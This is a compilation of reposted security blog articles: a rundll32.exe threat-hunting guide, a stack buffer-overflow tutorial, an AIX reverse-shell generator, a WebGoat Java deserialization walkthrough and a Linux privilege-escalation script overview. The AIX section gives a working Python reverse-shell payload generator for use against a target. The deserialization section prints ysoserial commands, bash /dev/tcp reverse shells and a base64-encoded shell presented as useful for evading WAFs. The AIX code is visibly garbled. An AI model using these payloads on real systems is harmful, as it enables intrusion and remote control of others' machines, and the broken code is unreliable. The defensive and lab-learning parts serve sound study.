A Deep Dive Into RUNDLL32.EXE

A Deep Dive Into RUNDLL32.EXE

Original text by Nasreddine Bencherchali

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When threat hunting malware one of the key skills to have is an understanding of the platform and the OS. To make the distinction between the good and the bad one has to know what’s good first.
On windows this can be a little tricky to achieve because of the complexity of the OS (after all it’s a 30+ years’ operating system).
Knowing this fact, malware authors write their malware to mimic normal windows processes. So you’ll see malware disguising itself as an “svchost.exe”, “rundll32.exe” or “lsass.exe” process, exploiting the fact that the majority of people using windows don’t know how these system processes behave in normal conditions.
Last time we’ve talked about the “svchost.exe” process and its command line options.

Demystifying the “SVCHOST.EXE” Process and Its Command Line OptionsUnderstanding the “svchost.exe” process and its command line optionsmedium.com

Today however we’ll be taking a look at “rundll32.exe” and understanding a little bit more about it.


As the name suggest, the “rundll32.exe” executable is used to “RUN DLL’s” or Dynamic Link Libraries (Below is the definition of a DLL from MSDN).

dynamic-link library (DLL) is a module that contains functions and data that can be used by another module (application or DLL) — MSDN

The most basic syntax for using “rundll32.exe” is the following.

rundll32 <DLLname>

The “rundll32.exe” executable can be a child or a parent process, it all depend on the context of the execution. And to determine if an instance of “rundll32.exe” is malicious or not we need to take a look at a couple of things. First is the path from which its being launched and second is its command line.

The valid “RUNDLL32.EXE” process is always located at:

\Windows\SysWOW64\rundll32.exe (32bit version on 64bit systems)

As for the command line of a “rundll32.exe” instance it all depends on what’s being launched whether be it a CPL file, a DLL install…etc.

For this let’s take a look at a couple of examples.

Running a DLL

In its basic form, “rundll32.exe” will just execute a DLL, so the first thing to check when seeing an instance of “rundll32.exe” is the legitimacy of the DLL being called.

Always check the location from where the DLL is called, for example kernel32.dll being called from %temp% is obviously malicious. And as a side note always check the hash on sites like VT.

SHELL32.DLL — “OpenAs_RunDLL”

“rundll32.exe” can also execute specific functions in DLL’s. For example, when selecting a file and performing a right click on it, a context menu will be shown that offers multiple options. One of the options is the “OpenWith” option. Once selected a pop-up will appear that’ll let’s select from a set of applications on the system.

Behind the scene this is actually launching the “rundll32.exe” utility with the “shell32.dll” and the “OpenAs_RunDLL” function.

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,OpenAs_RunDLL <file_path>

This behavior of calling specific functions in a DLL is very common and it can be tricky to know all of them in advance. Below is a list containing a batch of “rundll32.exe” calls and their meaning.

SHELL32.DLL — “Control_RunDLL”, “Control_RunDLLAsUser” and Control Panel Applets

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Another common function we’ll see used with the “shell32.dll” is “Control_RunDLL” / “Control_RunDLLAsUser”. These two are used to run “.CPL” files or control panel items.

For example, when we want to change the Date and Time of the computer we launch the applet from the control panel.

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Behind the scene, windows launched a “rundll32.exe” instance with the following command line.

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\timedate.cpl

In addition to verifying the legitimacy of a DLL. When using the “Control_RunDLL” / “Control_RunDLLAsUser” functions, you should always check the legitimacy of a “.CPL” file.

Control Panel Items (.CPL)

CPL or Control Panel Items are programs that represent a functionality provided by the control panel or in other terms, they are DLL’s that exports the CPIApplet Function.

A “.CPL” file can contain multiple applets that can be referred to by an applet index and each applet can contain multiple tabs that can be referred to by a tab index.

We can access and request this information via the “rundll32.exe” utility as follow.

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For example, the “main.cpl” file in the System32 folder contains two applets. The “Mouse” and “Keyboard” properties. If we want to access the mouse properties and change the pointer, we’ll do it like this.

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,Control_RunDLL C:\WINDOWS\System32\main.cpl,@0,1

As you can see, one can easily replace the “main.cpl” file with a malicious version and come by unnoticed to the untrained eye. In fact, that’s what malware authors have been doing to infect users.

In a normal case scenario, the parent process of a “rundll32.exe” instance with the “Control_RunDLL” function should be “explorer.exe” or “control.exe”

Other processes can also launch “rundll32.exe” with that function. For example, it can be a child of “Google Chrom”“MSGEDGE” or “IE” when launching the “inetcpl.cpl” for proxy / network configuration.

If you want more details about CPL and how malware is using it, you can read this trend micro research paper called CPL Malware.

DEVCLNT.DLL — “DavSetCookie” (Web Dav Client)

One of the mysterious command lines in a “rundll32.exe” instance that’ll show up a lot in the logs, takes the following format.

C:\WINDOWS\System32\rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie <Host> <Share>

When using the “file://” protocol, whether be it in a word file, or via share windows will sometimes use (if SMB is disabled in some cases) the WebDav Client to request these files. When that happens a request will be made via the “rundll32.exe” utility.

The parent process of such requests will be “svchost.exe” like so. (The “-s WebClient” is not obligatory)

C:\Windows\system32\svchost.exe -k LocalService -p -s WebClient

Malware like Emotet has already used this technique in the past. So always analyze the host that is present in this type of command line and make sure that everything is legitimate.

RUNDLL32.EXE — “-sta” / “-localserver” Flags

A lesser known command line arguments are the “-sta” and “-localserver”. Which both can be used to load malicious registered COM objects.

If you see in your logs or a process running with one of the following command line arguments.

rundll32.exe –localserver <CLSID_GUID>
rundll32.exe –sta <CLSID_GUID>

You need to verify the corresponding registry key [\HKEY_CLASSES_ROOT\CLSID\<GUID>] and its sub-keys and values for any malicious DLL or SCT script.

I highly suggest you read @bohops blog post for a detailed explanation on this technique and check hexacorn blog for the “-localserver” variant.Abusing the COM Registry Structure: CLSID, LocalServer32, &amp; InprocServer32TL;DR Vendors are notorious for including and/or leaving behind Registry artifacts that could potentially be abused by…bohops.com


One other command line argument that attackers may use with “rundll32.exe” is the “javascript” flag.

In fact a “rundll32.exe” instance can run HTML / JavaScript code using the “mshtml.dll” and the “javascript” keyword (See Below).

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Code>

I’ve never seen this used in a legitimate way. So if you spot this in your logs, it is worth investigating.

You can check the following resources to learn more about this technique.


Thanks for reading and I hope you enjoyed this quick look at Rundll32.

If you have any feedback or suggestions, send them my way via twitter @nas_bench


Getting Started with Linux Buffer Overflows x86 – Part 1 (Introduction)

( Original text by SubZero0x9 )

Hello Friends, this series of blog posts will purely focus on Buffer Overflows. When I started my journey in Infosec, this one topic fascinated me as much as it frightened me. When I read some of the blogs related to Buffer Overflows, it really seemed as some High-level gibber jabber containing C code, Assembly and some black terminals (Yeah I am talking about GDB). Over the period of time and preparing for OSCP, I started to learn about Buffer Overflows in detail referring to the endless materials on Web scattered over different planets. So, I will try to explain Buffer Overflow in depth and detail so everyone reading this blog can understand what actually a Buffer Overflow is.

In this blog, we will understand the basic fundamentals behind the Buffer Overflow vulnerability. Buffer Overflow is a memory corruption attack which involves memory, stack, buffers to name a few. We will go through each of this and understand why really Buffer Overflows takes place in the first place. We will focus on 32-bit architecture.

A little heads up: This blog is going to be a lengthy one because to understand the concepts of Buffer Overflow, we have to understand the process memory, stack, stack operations, assembly language and how to use a debugger. I will try to explain as much as I can. So I strongly suggest to stick till the end and it will surely clear your concepts. Also, from the next blog I will try to keep it short :p :p

So lets get started….
Before getting to stack and buffers, it is really important to understand the Process Memory Organization. Process Memory is the main playground where it all happens. In theory, the Process memory where the program/process resides is quite a complex place. We will see the basic part which we need for Buffer Overflow. It consists of three main regions: Text, Data and Stack.

Text: The Text region contains the Program Code (basically instructions) of the executable or the process which will be executed. The Text area is marked as read-only and writing any data to this area will result into Segmentation Violation (Memory Protection Mechanism).

Data: The Data region consists of the variables which are declared inside the program. This area has both initialized (data defined while coding) and uninitialized (data declared while coding) data. Static variables are stored in this section.

Stack: While executing a program, there are many function and procedure calls along with many JUMP instructions which after the functions work is done has to return to its next intended place. To carry out this operation, to execute a program, the memory has an area called Stack. Whenever the CALL instruction is used to call a function, the stack is used. The Stack is basically a data structure which works on the LIFO (Last In First Out) principle. That means the last object entering the stack is the first object to get out. We will see how a stack works in detail below.

To understand more about the Process Memory read this fantastic article: https://www.bottomupcs.com/elements_of_a_process.xhtml

So Lets see an Assembly Code Skeleton to understand more about how the program is executed in Process Memory.

Here, as we can see the assembly program skeleton has three sections: .data, .bss and .txt

-> .txt section contains the assembly code instructions which resides in the Text section of the process memory.

-> .data section contains the initialized data or lets say defined variables or data types which resides in the Data section of the process memory.

-> .bss section contains the uninitialized data or lets say declared variables that will be used later in the program execution which also resides in the Data section of the process memory

However in a traditionally compiled program there may be many sections other than this.

Now the most important part….


As we discussed earlier all the dirty work is done on the Stack. Stack is nothing but a region of memory where data is temporarily stored to carry out some operations. There are mainly two operations performed by stack: PUSH and POPPUSH is used to add the object on top of the stack, POP is used to remove the object from top of the stack.

But why stack is used in the first place?

Most of the programs have functions and procedures in them. So during the program execution flow, when the function is called, the flow of control is passed to the stack. That means when the function is called, all the operations which will take place inside the function will be carried out on the Stack. Now, when we talk about flow of control, after when the execution of the function is done, the stack has to return the flow of control to the next instruction after which the function was called in the program. This is a very important feature of the stack.

So, lets see how the Stack works. But before that, lets get familiar with some stack pointers and registers which actually carries out everything on the Stack.

ESP (Extended Stack Pointer): ESP is a stack register which points to the top of the stack.

EBP (Extended Base Pointer): EBP is a stack register which points to the top of the current frame when a function is called. EBP generally points to the return address. EBP is really essential in the stack operations because when the function is called, function arguments and local variables are stored onto the stack. As the stack grows the offset of both the function arguments and variables changes with respect to ESP. So ESP is changed many times and it is difficult for the compiler to keep track, hence EBP was introduced. When the function is called, the value of ESP is copied into EBP, thus making EBP the offset reference point for other instructions to access and calculate the memory addresses.

EIP (Extended Instruction Pointer): EIP is a stack register which tells the processor about the address of the next instruction to execute.

RET (return) address: Return address is basically the address to which the flow of control has to be passed after the stack operation is finished.

Stack Frame: A stack frame is a region on stack which contains all the function parameters, local variables, return address, value of instruction pointer at the time of a function call.

Okay, so now lets see the stack closely by executing a C program. For this blog post we will be using the program challenge ‘stack0’ from Protostar exploit series, which is a stack based buffer overflow challenge series.
You can find more about Protostar exploit series here -> https://exploit-exercises.com/protostar/

The program:

Whats the program about ?
An int variable modified is declared and a char array buffer of 64 bytes is declared. Then modified is set to 0 and user input is accepted in buffer using gets() function. The value of modified is checked, if its anything other than 0 then the message “you have changed the ‘modified’ variable” will be printed or else “Try again?” will be printed.

Lets execute the program once and see what happens.

So after executing the program, it asks for user input, after giving the string “IamGrooooot” it displays “Try again?”. By seeing the output it is clear that modified variable is still 0.

Now lets try to debug this executable in a debugger, we will be using GDB throughout this blogpost series (Why? Because its freaking awesome).

Just type gdb ./executable_name to execute the program in the debugger.

The first thing we do after firing up gdb is disassembling the main() function of our program.

We can see the main() function now, its in assembly language. So lets try to understand what actually this means.

From the address 0x080483f4 the main() function is getting started.
-> Since there is no arguments passed in the main function, directly the EBP is pushed on the stack.
As we know EBP is the base pointer on the stack, the Stack pushes some starting address onto the EBP and saves it for later purposes.

-> Next, the value of ESP is moved into EBP. The value of ESP is saved into EBP. This is done so that most of the operations carried out by the function arguments and the variable changes the ESP and it is difficult for the compiler to keep track of all the changes in ESP.

-> Many times the compiler add some instructions for better alignment of the stack. The instruction at the address 0x080483f7 is masking the ESP and adding some trailing zeros to the ESP. This instruction is not important to us.

-> The next instruction at address 0x080483fa is subtracting 0x60 hex value from the ESP. Now the ESP is pointing to a far lower address from the EBP(As we know the stack grows down the memory). This gap between the ESP and EBP is basically the Stack frame, where the operations needed to execute the program is done.

-> Now the instruction at address 0x080483fd is from where all our C code will make sense. Here we can see the instruction movl $0x0,0x5c(%esp) where the value 0 is moved into ESP + the offset 0x5c, that means 0 is moved to the address [ESP+0x5c]. This is same as in our program, modified=0.

-> From address 0x08048405 to 0x0804840c are the instructions with accepts the user input.
The instruction lea 0x1c(%esp),%eax is loading the effective address i.e [ESP+0x1c] into EAX register. This address is pointing to the char array buffer on the stack. The lea and mov instructions are almost same, the only difference is the leainstruction copies the address of the register and offset into the destination instead of the content(which the mov instruction does).

-> The instruction mov %eax,(%esp) is copying the address stored in EAX register into ESP. So the top of the stack is pointing to the address 0x1c(%esp). Another important thing is that the function parameters are stored in the ESP. Assuming that the next instruction is calling gets function, the gets function will write the data to a char array. In this case the ESP is pointing to the address of the char buffer and the gets function writes the data to ESP(i.e the char array at the address 0x1c(%esp) ).

-> From the address 0x08048411 to 0x0804842e, the if condition is carried out. The instruction mov 0x5c(%esp),%eax is copying the value of modified variable i.e 0 into EAX. Then the test instruction is checking whether the value of modifiedis changed or not. If the value is not changed i.e the je instruction’s output is equal then the flow of control will jump to 0x08048427 where the message “Try again?” will be printed. If the value is changed then flow of control will be normal and the next instruction will be executed, thus printing the message “you have changed the ‘modified’ variable”.

-> Now all the opertions are done. But the stack is as it is and for the program to be completed the flow control has to be passed to the RET address which is stored on the stack. But till now only variables and addresses has been pushed on the stack but nothing has been popped. At the address 0x08048433 the leave instruction is executed. The leave instruction is used to “free” the stack frame. If we see the disassemble main() the first two instructions push %ebp and push %esp,%ebp, these instructions basically sets up the stack frame. Now the leave instruction does exactly the opposite of what the first two instructions did, mov %ebp,%esp and pop %ebp. So these two instructions free ups stack frame and the EIP points to the RET address which will give the flow of control to the address which was next after the called function. In this case the RET value is not pointing to anything because our program ends here.

So till now we have seen what our C code in Assembly means, it is really important to understand these things because when we debug or lets say Reverse Engineer some binary and stuff, this understanding of how closely the memory and stack works really comes in handy.

Now we will see the stack operations in GDB. For those who will be doing debugging and reversing for the first time it may feel overwhelming seeing all these instructions(believe me, I used to go nuts sometimes), so for the moment we will focus only on the part which is required for this series to understand, like where is our input being written, how the memory addresses can be overwritten and all those stuffs….

Here comes the mighty GDB !!!!

In GDB we will list the program, so we can know where we want to set a breakpoint.

We will set the breakpoint for line number 7,11,13Lets run it in GDB..-> After we run it in GDB, we can see the breakpoints which we set is now hit, basically it is interrupting the program execution and halting the program flow at the given breakpoint.

-> We step to next instruction by typing s in the prompt, we can again see the next breakpoint gets hit.

-> At this point we check both our stack registers ESP and EIP. We look these two registers in two different ways. We check the ESP using the x switch which is for examine memory. We can see the ESP is pointing to the stack address 0xbffff0b0and the value it contains is 0x00000000 i.e 0. We can easily assume that, this 0 is the same 0 which gets assigned to the modified variable.

-> We check the EIP by the command info registers eip (you can see info about all the registers by simply typing info registers). We see the EIP is pointing to the memory address 0x8048405 which is nothing but the address of next instruction to be executed.

Now we step next and see what happens.-> When we step through the next instruction it asks us for the input. Now we give the input as random sets of ‘A’ and then we can see our third breakpoint which we set earlier is hit.

-> We again check the ESP and EIP. We clearly see the ESP is changed and pointing to different stack address. EIP now is pointing to the next instruction which is going to be executed.

Now lets see, the input which we gave where does it goes?-> By using the examine memory switch i.e x we see the contents of ESP. We are viewing the 24 words of content on the stack in Hex (thats why x/24xw $esp). We can see our input ‘A’ that is 41 in hex (according to the ASCII standards) on the stack(highlighted portion). So we can see that our input is being written on the stack.

Again lets step through the next instruction.-> In the previous step we saw that the instruction if(modified !=0) is going to be executed. Now lets go back to the section where we saw the assembly instructions equivalent of the C program in detail. We can see the instruction test %eax,%eaxwill be executed. So we already know it will compare if the modified value has changed or not.

How do we see that ?

-> We simply check the EAX register by typing info registers eax. We can see that the value of EAX is 0x0 i.e 0, that means the value of modified variable is still 0. Now we know that the message “Try again?” is going to be printed. The EIP also confirms this, the output of EIP points to 0x8048427 which if you look at the disassembled main function, you can see that it is calling the second puts function which has the message “Try again?”.

Lets step and move towards the exit of the program.-> When we step through the next instruction, it gives us the message “Try again?”. Then we check the EIP it points to 0x8048433, which is nothing but the leaveinstruction. Again we step through, we can the program exiting and terminated with the exit system call that is in the libc.s0.6 shared library files.


Till now, we saw the how the process memory works, how the programs gets loaded into the memory and how the stack operations are done when the program gets executed. Now this was more than enough to understand what Buffer Overflow really is.


Finally we can get started with the topic. Lets ask ourselves two very simple questions:

What is a Buffer?
-> Buffer is a temporary storage place in memory to store data.

What is Buffer Overflow?
-> When a data written to a buffer that is larger than the actual buffer size and due to improper bounds checking it gets overflowed and overwrites the adjacent memory addresses/locations.

So, its time to get our hands dirty by smashing the stack. But before that, for this blogpost series we will only focus on the Stack based overflows. Also the examples which we are going to see may not be vulnerable to buffer overflow because the newer system kernels handle all these things in a very effifcient way. If you are using a newer system, for e.g Ubuntu 16.04 LTS you have to go and disable the ASLR bit to off as it is set to protect from the Memory Corruption attacks.
To disable it simply type : echo 0 > /proc/sys/kernel/randomize_va_space in your terminal.

Also you have to compile the program using gcc with stack smashing detect feature disabled. To do this compile your program using:

We will use the earlier program which we used for understanding the stack. This program is vulnerable to buffer overflow. As we can see the the program is using gets function to accept the user input. Now, this gets function has some serious security issues. Lets see the man page for gets.As, we can see the highlighted part it says “Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead”.

From here we can understand there is actually no bound checks happening when the user input is taken through the gets function (Extremely Dangerous Right?).

Now lets look what the program is and what the challenge of the program is all about.
-> We already discussed that if the modified variable is not 0, then the message “you have changed the ‘modified’ variable” will be printed. But if we look at the program, there is no way the modified variable’s value can be changed. So how it can be done?

-> The line where it takes user input and writes into char array buffer is actually our way to go and change the value of modified. The gets(buffer); is the vulnerable code.

In the code we can see the modified variable assignment and the input of char array buffer is next to each other,

This means when this two instructions will be executed by the processor the modified variable and buffer array will be adjacent to each other in the stack frame.

So, what does this means?
-> When we feed input to the buffer more than it is capable of, the extra input which we feed will get overwritten to the adjacent memory location, in this case the memory location pointing to the modified variable. Thus, the modified variable will be no longer be 0 and the success message will be printed.

Due to buffer overflow the above scenario was possible. Lets see in more detail.

First we will try to execute the program with some random input and see where the overflow happens.-> We already know the char array buffer is of 64 bytes. So we try to enter 60, 62, 64 times ‘A’ to our program. As, we can see the modified variable is not changed and the failure message is printed.

->But when we enter 65 A’s to our program, the value of modified variable mysteriously changes and the success message is printed.

->The buffer overflow has happened after the 64th byte of input and it overwrites the memory location after that i.e where the modified variable is stored.

Lets load our program in GDB and see how the modified variable’s memory location got overwritten.-> As we can see, the breakpoints 1 and 2 got hit, then we check the value of modified by typing x/xw $esp+0x5c (stack register + offset). If we see in the disassembled main function we can see the value 0 gets assigned to modifiedvariable through this instruction: movl $0x0,0x5c(%esp), that’s why we checked the value of modified variable by giving the offset along with the stack register ESP. The value of modified variable at stack location 0xbffff10c is 0x00000000.

->After stepping through, its asking us to enter the input. Now we know 65th byte is the point where the buffer gets overflowed. So we enter 65 A’s and then check the stack frame.

-> As we can see our input A i.e 41 is all over the stack. But we are only concerned with the adjacent memory location where the modified variable is there. By quickly checking the modified variable we can see the value of the stack address pointing to the modified variable 0xbffff10c is changed from 0x00000000 to 0x00000041.

-> This means when the buffer overflow took place it overwritten the adjacent memory location 0xbffff10c to 0x00000041.

-> As we step through the next instruction we can see the success message “you have changed the ‘modified’ variable” printed on the screen.

This was all possible because there was insufficient bounds checking when the user input was being written in the char array buffer. This led to overflow and the adjacent memory location (modified variable) got overwritten.

Voila !!!

We successfully learned the fundamentals of process memory, Stack operations and Buffer Overflow in detail. Now, this was only the concept of how buffer overflow takes place. We still haven’t exploited this vulnerability to actually exploit the system. In the next blog we will see how to execute arbitrary commands through Shellcode using this Buffer Overflow vulnerablity.

Till then, go and learn as much as possible about Assembly and GDB, because we are going to use this extensively in the future blogposts.

Reverse shell on AIX 7.2

( Original text by astr0baby )

The current msfvenom (metasploit) payloads for AIX are aged and do not work on AIX systems anymore.  Here is an example of what is available right now

# ./msfvenom -l payload | grep aix
aix/ppc/shell_bind_tcp                   Listen for a connection and spawn a command shell
aix/ppc/shell_find_port                  Spawn a shell on an established connection
aix/ppc/shell_interact                   Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp                Connect back to attacker and spawn a command shell

None of the above payloads are usable on modern AIX 7.2 systems. One can elaborate on the following article from 2012 https://www.offensive-security.com/vulndev/aix-shellcode-metasploit/

But in our exercise we will use something much simpler. Since AIX 7.2 with YUM enabled will ship with Python we can create a nice C code that can be compiled on AIX with GCC 8.1.0 and executed there to give us the desired reverse shell.

Following code generator is written to work on a Linux system and is pretty straight forward. Please note it contains the bogus shellcode inside which of course does not work, and I have left it there simply because I have used a C constructor file from another project and was lazy.

echo "************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT             "
echo "   For AIX ppc64   testing on AIX 7.2 TL3SP1                " 
echo " Includes non working ppc reverse shell shellcode soup      "
echo " i    And a working python reverse shell                    "
echo "************************************************************"
echo -e "What IP are we gonna use ? \c"
read IP 
echo -e "What Port Number are we gonna listen to? : \c"
read port
echo '[*] Cleaning up ' 
rm -f aix-payload.c

cat <<EOF > aix-payload.c 
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <strings.h>
#include <unistd.h>
#include <poll.h>
#include <pthread.h>
#include <stdint.h>

unsigned char buf[] = 

void genlol();
int random_in_range (unsigned int min, unsigned int max);
int random_in_range (unsigned int min, unsigned int max)
int base_random = rand();
if (RAND_MAX == base_random){
return random_in_range(min, max);
int range = max - min,
remainder = RAND_MAX % range,
bucket = RAND_MAX / range;
if (base_random < RAND_MAX - remainder) {
return min + base_random/bucket;
} else {
return random_in_range (min, max);
char* rev(char* str)
int end=strlen(str)-1;
int i;
for(i=5; i<end; i++)
str[i] ^= 1;
return str;
int main(int argc, char **argv)
system ("/usr/bin/clear");
printf ("==================\n");
printf ("AIX reverse shell \n");
printf ("==================\n");
system("/usr/bin/sleep 1");
printf ("Getting psyched ..\n");
system("/usr/bin/sleep 1");
system("/usr/bin/sleep 1");
system("/usr/bin/sleep 1");
printf ("\n[*] Spawning shell\n");
pid_t process_id = 0;
pid_t sid = 0;
process_id = fork();
if (process_id < 0)
printf("hold on!\n");
if (process_id > 0)
printf("[+] Check the remote host now \n", process_id);
void *ptr = mmap(0, 0x2000, PROT_WRITE|PROT_READ|PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(ptr,buf,sizeof buf);
void (*fp)() = (void (*)())ptr;
system("/usr/bin/python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CHANGEIP\",CHANGEPORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/usr/bin/sh\",\"-i\"]);\'");
printf ("\n[*]  ping..pong\n");
void genlol(){
int num1, num2, num3;
while (num1<=5) {
printf ("\n[*] ..... \n");
sed -i "s/CHANGEIP/$IP/g" aix-payload.c
sed -i "s/CHANGEPORT/$port/g" aix-payload.c

if [ -f ./aix-payload.c ]; then
echo '[*] aix-payoad.c generated ...'
ls -la aix-payload.c
echo '[*] Now upload the aix-payload.c to AIX machine and compile with gcc aix-payload.c -o aix-payload' 
echo '[*] And on the attacker machine start netcat listener on TCP port we have chosen above'
echo '[-] Something went wrong .. '
exit 0

Once we run the above script we need to transfer the source code it generates (aix-payload.c) to the AIX 7.2 system and compile it there

On our attacker machine you need to have Netcat installed we just call it and listen for incoming TCP connection on the port we have defined in the generator case

Next we execute the compiled aix-payload binary on the target AIX 7.2 machine

And check the reverse shell pop-up on our netcat listener

And that is it. Simple exercise (and please excuse my C code )

Loading video




Java Deserialization — From Discovery to Reverse Shell on Limited Environments

( Original text by By Ahmed Sherif & Francesco Soncina )

n this article, we are going to show you our journey of exploiting the Insecure Deserialization vulnerability and we will take WebGoat 8 deserialization challenge (deployed on Docker) as an example. The challenge can be solved by just executing sleepfor 5 seconds. However, we are going to move further for fun and try to get a reverse shell.


The Java deserialization issue has been known in the security community for a few years. In 2015, two security researchers Chris Frohoff and Gabriel Lawrence gave a talk Marshalling Pickles in AppSecCali. Additionally, they released their payload generator tool called ysoserial.

Object serialization mainly allows developers to convert in-memory objects to binary and textual data formats for storage or transfer. However, deserializing objects from untrusted data can cause an attacker to achieve remote code execution.


As mentioned in the challenge, the vulnerable page takes a serialized Java object in Base64 format from the user input and it blindly deserializes it. We will exploit this vulnerability by providing a serialized object that triggers a Property Oriented Programming Chain (POP Chain) to achieve Remote Command Execution during the deserialization.

The WebGoat 8 Insecure Deserialization challenge

By firing up Burp and installing a plugin called Java-Deserialization-Scanner. The plugin is consisting of 2 features: one of them is for scanning and the other one is for generating the exploit based on the ysoserial tool.

Java Deserialization Scanner Plugin for Burp Suite

After scanning the remote endpoint the Burp plugin will report:

Hibernate 5 (Sleep): Potentially VULNERABLE!!!

Sounds great!


Let’s move to the next step and go to the exploitation tab to achieve arbitrary command execution.

Huh?! It seems an issue with ysoserial. Let’s dig deeper into the issue and move to the console to see what is the issue exactly.

Error in payload generation

By looking at ysoserial, we see that two different POP chains are available for Hibernate. By using those payloads we figure out that none of them is being executed on the target system.

Available payloads in ysoserial

How the plugin generated this payload to trigger the sleep command then?

We decided to look at the source code of the plugin on the following link:

We noticed that the payload is hard-coded in the plugin’s source code, so we need to find a way to generate the same payload in order to get it working.

The payload is hard-coded.

Based on some research and help, we figured out that we need to modify the current version of ysoserial in order to get our payloads working.

We downloaded the source code of ysoserial and decided to recompile it using Hibernate 5. In order to successfully build ysoserial with Hibernate 5 we need to add the javax.el package to the pom.xml file.

We also have sent out a Pull Request to the original project in order to fix the build when the hibernate5 profile is selected.

Updated pom.xml

We can proceed to rebuild ysoserial with the following command:

mvn clean package -DskipTests -Dhibernate5

and then we can generate the payload with:

java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
Working payload for Hibernate 5

We can verify that our command was executed by accessing the docker container with the following command:

docker exec -it <CONTAINER_ID> /bin/bash

As we can see our payload was successfully executed on the machine!

The exploit works!

We proceed to enumerate the binaries on the target machine.

webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
webgoat@1d142ccc69ec:/$ which bash

Only Perl and Bash are available. Let’s try to craft a payload to send us a reverse shell.

We looked at some one-liners reverse shells on Pentest Monkeys:

And decided to try the Bash reverse shell:

bash -i >& /dev/tcp/ 0>&1

However, as you might know, that java.lang.Runtime.exec()has some limitations. The shell operators such as redirection or piping are not supported.

We decided to move forward with another option, which is a reverse shell written in Java. We are going to modify the source code on the Gadgets.java to generate a reverse shell payload.

The following path is the one which we need to modify:

/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java from line 116 to 118.

The following Java reverse shell is mentioned on Pentest Monkeys which still didn’t work:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

After some play around with the code we ended up with the following:

String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";

Let’s rebuild ysoserial again and test the generated payload.

Generating the weaponized payload with a Bash reverse shell

And.. we got a reverse shell back!


Generalizing the payload generation process

During our research we found out this encoder as well that does the job for us ‘http://jackson.thuraisamy.me/runtime-exec-payloads.html

By providing the following Bash reverse shell:

bash -i >& /dev/tcp/[IP address]/[port] 0>&1

the generated payload will be:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}

Awesome! This encoder can also be useful for bypassing WAFs! ????

Special thanks to Federico Dotta and Mahmoud ElMorabea!

Linux Privilege Escalation via Automated Script

Картинки по запросу Linux Privilege Escalation

( Original text by Raj Chandel )

We all know that, after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to higher-privileged shell. But apart from it, there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.

Table of Content

  • Introduction
  • Vectors of Privilege Escalation
  • LinuEnum
  • Linuxprivchecker
  • Linux Exploit Suggester 2
  • Bashark
  • BeRoot


Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he try to gather critical information related to system such as hidden password and weak configured services or applications and etc. All these information helps the attacker to make the post exploit against machine for getting higher-privileged shell.

Vectors of Privilege Escalation

  • OS Detail & Kernel Version
  • Any Vulnerable package installed or running
  • Files and Folders with Full Control or Modify Access
  • File with SUID Permissions
  • Mapped Drives (NFS)
  • Potentially Interesting Files
  • Environment Variable Path
  • Network Information (interfaces, arp, netstat)
  • Running Processes
  • Cronjobs
  • User’s Sudo Right
  • Wildcard Injection

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.


Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.

Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory accessible.

System Information: Hostname, Networking details, Current IP and etc.

User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd.

Kernel and distribution release details.

You can download it through github with help of following command:

Once you download this script, you can simply run it by tying ./LinEnum.sh on terminal. Hence it will dump all fetched data and system details.

Let’s Analysis Its result what is brings to us:

OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1

Hostname: Ubuntu


Super User Accounts: root, demo, hack, raaz

Sudo Rights User: Ignite, raj

Home Directories File Permission

Environment Information

And many more such things which comes under the Post exploitation.


Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that’s been taken under. Use wget to download the script from its source URL.

Now to use this script just type python linuxprivchecke.py on terminal and this will enumerate file and directory permissions/contents. This script works same as LinEnum and hunts details related to system network and user.

